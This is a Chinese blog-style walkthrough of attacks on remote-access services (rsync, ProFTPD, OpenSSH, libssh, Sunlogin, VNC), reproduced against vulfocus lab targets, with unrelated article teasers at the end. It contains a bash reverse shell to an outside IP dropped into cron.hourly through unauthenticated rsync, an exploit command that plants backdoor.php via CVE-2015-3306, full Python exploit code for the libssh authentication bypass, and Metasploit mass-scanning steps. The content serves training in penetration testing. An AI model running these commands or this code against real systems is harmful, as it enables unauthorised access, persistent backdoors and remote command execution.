远程访问安全:rsync、ProFTPD、OpenSSH和VNC漏洞分析

news2024/11/23 12:11:24

文章目录

  • rsync
      • 未授权访问
          • 概念
          • 复现
          • 个别工具检测
          • 批量工具检测
  • proftpd
        • 远程命令
          • 介绍
          • CVE-2015-3306复现
  • openssh
        • 信息泄露
          • 介绍
          • 复现
        • libssh身份绕过
          • 介绍
          • 条件
          • 危害
          • 复现
  • 向日葵
        • 远程RCE
          • 介绍
          • 条件
          • 靶场:
  • VNC
          • 配置不当
            • 介绍
            • 复现

在当今高度互联的数字时代,远程访问工具已成为企业和个人日常工作中不可或缺的一部分。然而,这些工具在带来便利的同时,也可能成为网络安全的潜在威胁。本文将深入探讨几种常见远程访问服务和工具的安全漏洞,包括rsync、ProFTPD、OpenSSH、向日葵远程控制和VNC。通过实际案例和漏洞复现,我们将揭示这些工具可能面临的安全风险,并提供相应的防护建议。

rsync

  1. 未授权访问

    1. 概念
      1. rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
    2. 复现
      1. 靶场

        1. vulfocus/rsync-common:latest
      2. 判断是否存在漏洞rsync rsync://123.58.224.8:24947

      3. 读取文件夹: rsync rsync://123.58.224.8:24947/src

      4. 下载文件:rsync rsync://123.58.224.8:24947/src/etc/passwd ./

      5. 上传文件:rsync -av passwd rsync://123.58.224.8:24947/src/tmp/passwd

      6. 反弹shell:

        1. 获取目标服务器的任务信息rsync rsync://123.58.224.8:24947/src/etc/crontab /root/cron.txt

        2. 创建文件chmod +x shell

        3. shell文件内容:

          1.   #!/bin/bash
              /bin/bash -i >& /dev/tcp/43.139.186.80/5566 0>&1
            
        4. 给予执行权限chmod +x shell

        5. 上传文件rsync -av shell rsync://123.58.224.8:24947/src/etc/cron.hourly

        6. nc监听,等待定时任务触发nc -lvvp 5566

    3. 个别工具检测
      1. 工具:

        1. kali自带的msf
      2. 过程

        1. msfconsole
        2. use auxiliary/scanner/rsync/modules_list
        3. set rhost 39.103.170.93
        4. set rport 873
        5. run
    4. 批量工具检测
      1. 工具:

        1. kali自带的msf
        2. 自己准备好大量ip
      2. 过程

        1. msfconsole
        2. use auxiliary/scanner/rsync/modules_list
        3. set rhosts file:/home/kali/Desktop/1.txt
        4. set threads 10
        5. run
        6. 尝试连接

proftpd

  1. 远程命令
    1. 介绍
      1. ProFTPD是ProFTPD团队的一套开源的FTP服务器软件。该软件具有可配置性强、安全、稳定等特点。
        ProFTPD 1.3.5中的mod_copy模块允许远程攻击者通过站点cpfr和site cpto命令读取和写入任意文件。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。 复制命令使用ProFTPD服务的权限执行,默认情况下,该服务在“nobody”用户的权限下运行。 通过使用/ proc / self / cmdline将PHP有效负载复制到网站目录,可以实现PHP远程代码执行。
    2. CVE-2015-3306复现
      1. 靶场:vulfocus proftpd 远程代码执行 (CVE-2015-3306)

        1. 端口对应:21:43182 80:21905
      2. 工具:exploit-CVE-2015-3306-master.zip

      3. 直接执行脚本即可python exploit.py --host 123.58.224.8 --port 21905 --path "/var/www/html/"

      4. 访问http://123.58.224.8:21905/backdoor.php?cmd=ls成功执行命令

openssh

  1. 信息泄露
    1. 介绍
      1. OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组所维护的一套用于安全访问远程计算机的连接工具。

        OpenSSH 7.7及之前版本中存在用户枚举漏洞,该漏洞源于程序会对有效的和无效的用户身份验证请求发出不同的响应。攻击者可通过发送特制的请求利用该漏洞枚举用户名称

    2. 复现
      1. 靶场

        1. vulfocus/ssh-passwd:latest
      2. 工具:CVE-2018-15473-Exploit

      3. 直接使用工具枚举即可,python sshUsernameEnumExploit.py --port 39378 --userList top_shortlist.txt 123.58.224.8

  2. libssh身份绕过
    1. 介绍
      1. libssh是一个用于访问SSH服务的C语言开发包,它能够执行远程命令、文件传输,同时为远程的程序提供安全的传输通道。server-side state machine是其中的一个服务器端状态机。
        在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以MSG_USERAUTH_SUCCESS在身份验证成功之前发送消息。这样可以绕过身份验证并访问目标SSH服务器。
    2. 条件
      1. libssh 0.6版本以下
    3. 危害
      1. libssh 0.6版本以下任意命令执行
    4. 复现
      1. 靶场

        1. vuifoucus libssh 身份验证绕过(CVE-2018-10933)
      2. 直接使用脚本即可python38 libssh.py 123.58.224.8 61334 "ls"

        1.   #!/usr/bin/env python3
            import sys
            import paramiko
            import socket
            import logging
          
            logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
            bufsize = 2048
          
          
            def execute(hostname, port, command):
                sock = socket.socket()
                try:
                    sock.connect((hostname, int(port)))
          
                    message = paramiko.message.Message()
                    transport = paramiko.transport.Transport(sock)
                    transport.start_client()
          
                    message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
                    transport._send_message(message)
          
                    client = transport.open_session(timeout=10)
                    client.exec_command(command)
          
                    # stdin = client.makefile("wb", bufsize)
                    stdout = client.makefile("rb", bufsize)
                    stderr = client.makefile_stderr("rb", bufsize)
          
                    output = stdout.read()
                    error = stderr.read()
          
                    stdout.close()
                    stderr.close()
          
                    #return output.decode()
                    return (output+error).decode()
                except paramiko.SSHException as e:
                    logging.exception(e)
                    logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
                except socket.error:
                    logging.debug("Unable to connect.")
          
                return None
          
          
            if __name__ == '__main__':
                print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
            //请使用最新版的python运行
          

向日葵

  1. 远程RCE
    1. 介绍
      1. 向日葵远程控制是一款面向企业和专业人员的远程pc管理和控制的服务软件。可以在任何有网络的情况下,轻松访问并控制安装了向日葵客户端的远程主机。同时还能实现远程文件传输、远程视频监控等功能,这不仅为用户的使用带来很多便捷,还能为其提供各类保障。

        Sunlogin RCE 是漏洞发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000的端口号。

    2. 条件
      1. 影响客户端版本:

        • 11.1.1
        • 10.3.0.27372
        • 11.0.0.33162
    3. 靶场:
      1. 其实这都不用复现因为如果真的可以成功,这不就是成钓鱼软件嘛,废物漏洞直接强制更新

      2. 复现就直接运行xrkRce.exe -h ip地址

VNC

  1. 配置不当
    1. 介绍
      1. VNC(Virtual Network Computing)是一种远程桌面共享系统,它允许用户通过网络连接远程控制另一台计算机。VNC使用RFB(远程帧缓冲)协议,可以在不同的操作系统之间工作,如Windows、Mac、Linux等。它的工作原理是将远程计算机的屏幕内容传输到本地设备,同时将本地的鼠标和键盘输入发送到远程计算机。VNC通常用于远程技术支持、远程办公、教育培训等场景,具有跨平台、易用性高的特点,但也需要注意网络安全问题。在使用时,通常需要在远程计算机上运行VNC服务器,而在本地设备上运行VNC查看器来建立连接。
      2. 但是使用空密码就会导致其他人直接连接上来
      3. 默认端口号:5900
    2. 复现
      1. 靶场

        1. 受害者安装sever,攻击者安装viewer即可
        2. 下载链接:https://pan.baidu.com/s/1SwwfrDIbxdcq_0xKCuPoJQ?pwd=cong
      2. 用nmap扫描扫主机开放5900端口

      3. 尝试用vnc进行连接

      4. 发现可以连接成功

通过对这些常见远程访问工具漏洞的分析和复现,我们可以清楚地看到,即使是广泛使用的软件也可能存在严重的安全隐患。作为网络管理员或IT安全专业人士,我们必须时刻保持警惕,定期更新和修补系统,严格管理访问权限,并采取多层次的安全措施来保护我们的网络资产。同时,对于普通用户而言,了解这些潜在风险也很重要,可以帮助我们在使用远程访问工具时更加谨慎,采取必要的安全预防措施。只有通过持续的学习、vigilance和最佳实践的实施,我们才能在享受远程访问便利的同时,有效地降低安全风险。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2039852.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Qt][Qt 事件][上]详细讲解

目录 1.事件介绍2.事件的处理3.鼠标事件4.按键事件5.moveEvent6.resizeEvent 1.事件介绍 事件是应⽤程序内部或者外部产⽣的事情或者动作的统称 在Qt中使⽤⼀个对象来表⽰⼀个事件,所有的Qt事件均继承于抽象类QEvent 事件是由系统或者Qt平台本⾝在不同的时刻发出的…

深入理解C#中的yield关键字:提升迭代性能与效率

文章目录 前言一、yield return二、yield break总结 前言 在C#中,yield 关键字是特别用于迭代器块和方法中的,它允许你逐个返回序列中的元素,而不是一次性返回整个集合。使用 yield 可以显著提高处理大数据集或进行复杂迭代时的性能和内存效率…

【数据结构初阶】队列经典习题两道

hello! 我是云边有个稻草人 目录 一、用队列实现栈 二、用栈实现队列 Relaxing Time ! 正文开始—— 一、用队列实现栈 225. 用队列实现栈 - 力扣(LeetCode) 根据题目要求,我们要用两个队列来实现栈的相关功能&…

虚拟机上使用Ubuntu1804上编译qt5.12.9部署到jetson nano上

开发qt界面,基于Qt5.12.9,开发环境使用虚拟机加载Ubuntu1804,开发完成后的qt程序最后部署到jetson nano上,使用的通用编译器是gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu 安装编译器 本文中直接将gcc-linaro-7.5.0-2019.…

汇昌联信做拼多多店铺如何运营?

汇昌联信如何在拼多多上运营店铺,是许多电商新手和希望扩展市场的商家所关注的问题。在这个快速发展的电商平台上,掌握正确的运营策略,对于提升店铺销量、增强品牌影响力至关重要。接下来,我们将详细探讨如何有效运营拼多多店铺。…

Angular由一个bug说起之九:AWS S3 文件下载问题

引言 在现代 Web 开发中,我们经常需要处理来自全球不同地区的数据,这包括文件名中可能包含的非拉丁文字符。最近,在一个项目中,我们遇到了一个与 Amazon S3 服务相关的挑战,涉及到文件名编码的处理。当从 S3 下载文件…

Redis分布式部署方式-主从复制

分布式部署Redis方式 分布式系统,涉及到一个非常关键的问题:单点问题 单点问题:如果某个服务器,只有一个节点(只搞一个物理服务器,来部署这个服务器程序),会遇到一些困难&#xff…

多线程学习之ThreadLocal详细笔记

ThreadLocal详细笔记 一、ThreadLocal的基本概念二、ThreadLocal的独特性2.1 数据访问方式2.2 线程安全实现2.3 适用场景 三、ThreadLocal 的简单使用四、ThreadLocal 的工作原理五、ThreadLocal和内存泄漏的关系5.1 ThreadLocalMap的Entry的Key设计成弱引用5.2 弱引用会导致内…

超简单4行代码-STM32F103的HAL实现有源蜂鸣器报警

1、概述 在嵌入式项目开发中,使用蜂鸣器作为简单的报警或提示装置非常常见。根据不同的应用场景,我们可能会选择有源蜂鸣器或无源蜂鸣器。本文将重点介绍如何通过STM32F103系列单片机,利用HAL库,仅通过4行代码实现对有源蜂鸣器的…

django学习入门系列之第九点《初识MySQL》

文章目录 9.1 初识网站9.2 初识MySQL下载安装创建配置文件初始化启动MySQL服务进入mysql查看已有文件夹退出(关闭连接)忘记密码 往期回顾 9.1 初识网站 Python相关:基础、函数、数据类型、面向、模块。前端开发直观:HTML、CSS、JavaScript、jQuery:[静态…

【运维】JetBrains Gateway (Pycharm) SSH免密连接,改为免密连接

一直要求输入密码,很烦人: 如何免密连接? 1 重新打开gateway,来到这个界面点新建连接: 2 点这里设置: 3 在这一页,你可以改你的所有配置,只要设置为password并且保存密码&…

详解Redis 高可用的方式 Redis Cluster

Redis 高可用方式 Redis 提供了多种高可用性方案,主要包括以下几种方式: 主从复制(Replication) 主从复制是最基本的高可用性方案,通过将数据从一个主节点复制到多个从节点来实现数据的冗余和读写分离。主节点负责所…

数据结构--数据结构概述

一、数据结构三要素 1. 数据的逻辑结构 数据的逻辑结构是指数据元素之间的关系和组织方式,通常分为线性结构和非线性结构。 线性结构:例如线性表,其中数据元素按照顺序排列,彼此之间存在一对一的关系。 非线性结构:…

android车载手机互联投屏新专题-实战作业布置

背景: 学习了马哥的投屏实战开发课程后,大家都可以实现如下图一样的手机车机多端互联的投屏场景。 即已经实现了手机和车机投屏互动,车机上手机画面屏幕可以与手机实体屏幕一样就是常见的Mirror模式,如果不一样就是课程里面讲的扩…

解析网络流量管理方案:简化基于云的DNS负载均衡

数字化时代,网络规模和流量需求的增长,催生了用户对可用性的需求、管理员对更好的访问和管理等需求。在大型的网络应用中,为保障站点的稳定性,会为服务或站点提供多台服务器,以平均分配每台服务器上的压力,…

上门做饭小程序项目源码功能介绍

上门做饭小程序通常包含以下功能,以便用户方便地享受到上门做饭的服务: 用户注册与登录:允许用户创建账户并登录,管理个人信息和偏好。 菜品浏览与选择:提供各种菜品的列表或菜单,用户可以浏览菜品详情、价…

C++STL详解(五)——list类的具体实现

一.本次所需实现的三个类及其成员函数接口 链表首先要有结点,因此我们需要实现一个结点类。 链表要有管理结点的结构,因此我们要有list类来管理结点。 链表中还要有迭代器,而迭代器的底层其实是指针。但是我们现有的结点类无法完成迭代器的…

在VB.net中,对数据排名次,用LINQ、SortedSet,还是用SortedList速度快

标题 在VB.net中,对数据排名次,用LINQ、SortedSet,还是用SortedList速度快 正文 在VB.NET中,选择最适合你需求的排序和索引方法时,需要考虑到数据的规模、是否需要频繁地更新数据结构、以及是否只需要排序结果或还需要…

【Hadoop】建立圈内组件的宏观认识

01存储02计算03调度04其他05回忆 众多组件们构建了大规模分布式计算和存储平台。本文介绍Hadoop生态圈中各个组件的主要功能和作用,辅助学者理解每个组件的定位和用途,从而建立对圈内组件的宏观认识。梳理清楚HDFS、MapReduce、YARN、Hive、HBase、Spark…

【大模型系列篇】Transformers综述--邱锡鹏

论文标题:A Survey of Transformers 论文作者:Tianyang Lin, Yuxin Wang, Xiangyang Liu, Xipeng Qiu 论文链接:https://arxiv.org/abs/2106.04554 Transformer 在许多人工智能领域(如自然语言处理、计算机视觉和音频处理&#…